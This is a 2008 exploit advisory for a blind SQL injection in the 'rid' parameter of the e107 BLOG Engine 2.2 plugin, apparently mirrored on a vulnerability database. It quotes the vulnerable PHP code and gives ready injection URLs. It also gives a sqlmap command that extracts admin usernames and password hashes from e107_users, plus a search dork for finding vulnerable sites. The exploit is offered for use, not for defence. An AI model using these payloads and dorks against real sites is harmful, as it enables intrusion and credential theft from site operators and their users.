e107 Plugin BLOG Engine 2.2 (rid) Blind SQL Injection Vulnerability

🗓️ 15 May 2008 00:00:00Reported by RootType

e107 Plugin BLOG Engine 2.2 (rid) Blind SQL Injectio


                                                [+]&nbsp;Author:&nbsp;Saime
[+]&nbsp;Script:&nbsp;e107&nbsp;Plugin&nbsp;BLOG&nbsp;Engine&nbsp;v2.2&nbsp;(rid)&nbsp;Blind&nbsp;SQL&nbsp;Injection
[+]&nbsp;URL:&nbsp;http://e107coders.org/download.php?view.1843
[+]&nbsp;Date:&nbsp;13/05/2008
[+]&nbsp;Greetz:&nbsp;BaKo,DrWh4x,optiplex,xprog,cam-man-dan,Tulle,t0pP8uZz,Inspiratio,Novalok,illuz1oN,Untamed,GM,str0ke,&nbsp;and&nbsp;everyone&nbsp;else&nbsp;I&nbsp;forgot!
[+]&nbsp;Site:&nbsp;http://h4ck-y0u.org

[+]&nbsp;Vuln&nbsp;File:&nbsp;comment.php
[+]&nbsp;Line:&nbsp;22-24
$rid&nbsp;=&nbsp;$_GET['rid'];
//blog&nbsp;entry&nbsp;echo
$sql&nbsp;-&gt;&nbsp;db_Query(&quot;select&nbsp;&quot;.MPREFIX.&quot;macgurublog_rec.*,&nbsp;blog_enable&nbsp;from&nbsp;&quot;.MPREFIX.&quot;macgurublog_rec&nbsp;left&nbsp;join&nbsp;&quot;.MPREFIX.&quot;macgurublog_main&nbsp;on&nbsp;(&quot;.MPREFIX.&quot;macgurublog_rec.blogrec_uid=&quot;.MPREFIX.&quot;macgurublog_main.blog_uid)&nbsp;where&nbsp;blogrec_id=&quot;.$rid.&quot;;&quot;);
[+]&nbsp;Exploit:
http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1&nbsp;and&nbsp;1=1--&nbsp;//&nbsp;returns&nbsp;no&nbsp;errors
http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1&nbsp;and&nbsp;1=2--&nbsp;//&nbsp;returns&nbsp;error&nbsp;about&nbsp;unknown&nbsp;entry
http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1&nbsp;and&nbsp;substring(@@version,1,1)=4&nbsp;//&nbsp;check&nbsp;the&nbsp;mysql&nbsp;version.&nbsp;if&nbsp;4&nbsp;returns&nbsp;error,&nbsp;try&nbsp;5.
Since&nbsp;e107&nbsp;uses&nbsp;diffrent&nbsp;table&nbsp;names&nbsp;it's&nbsp;almost&nbsp;impossible&nbsp;to&nbsp;write&nbsp;exploit&nbsp;for&nbsp;it.&nbsp;So&nbsp;I&nbsp;am&nbsp;suggesting&nbsp;to&nbsp;use&nbsp;sqlmap&nbsp;to&nbsp;use&nbsp;this&nbsp;vulnerabilty.
The&nbsp;command&nbsp;like&nbsp;should&nbsp;look&nbsp;like&nbsp;this:
./sqlmap.py&nbsp;-u&nbsp;&quot;URL&quot;&nbsp;-p&nbsp;rid&nbsp;-a&nbsp;&quot;./txt/user-agents.txt&quot;&nbsp;-v1&nbsp;--string&nbsp;&quot;string&nbsp;which&nbsp;proofs&nbsp;the&nbsp;query&nbsp;is&nbsp;valid&quot;&nbsp;-e&nbsp;&quot;sql&nbsp;query&quot;
Example:
./sqlmap.py&nbsp;-u&nbsp;&quot;http://site.com/e107_plugins/macgurublog_menu/comment.php?rid=1&quot;&nbsp;-p&nbsp;rid&nbsp;-a&nbsp;&quot;./txt/user-agents.txt&quot;&nbsp;-v1&nbsp;--string&nbsp;&quot;Saime&quot;&nbsp;-e&nbsp;&quot;&lt;SELECT&nbsp;concat(username,0x3a,password)&nbsp;from&nbsp;e107_users&nbsp;where&nbsp;userid=1&nbsp;limit&nbsp;0,1&gt;&quot;
[+]&nbsp;Dork:&nbsp;inurl:/macgurublog_menu/
[+]&nbsp;Notes:&nbsp;Not&nbsp;to&nbsp;Turkish&nbsp;Warrior,&nbsp;good&nbsp;job&nbsp;on&nbsp;leaking&nbsp;CipherCrew&nbsp;exploits&nbsp;and&nbsp;submiting&nbsp;them&nbsp;as&nbsp;your&nbsp;own&nbsp;dumbass!&nbsp;;)

15 May 2008 00:00Current

7.1High risk

Vulners AI Score7.1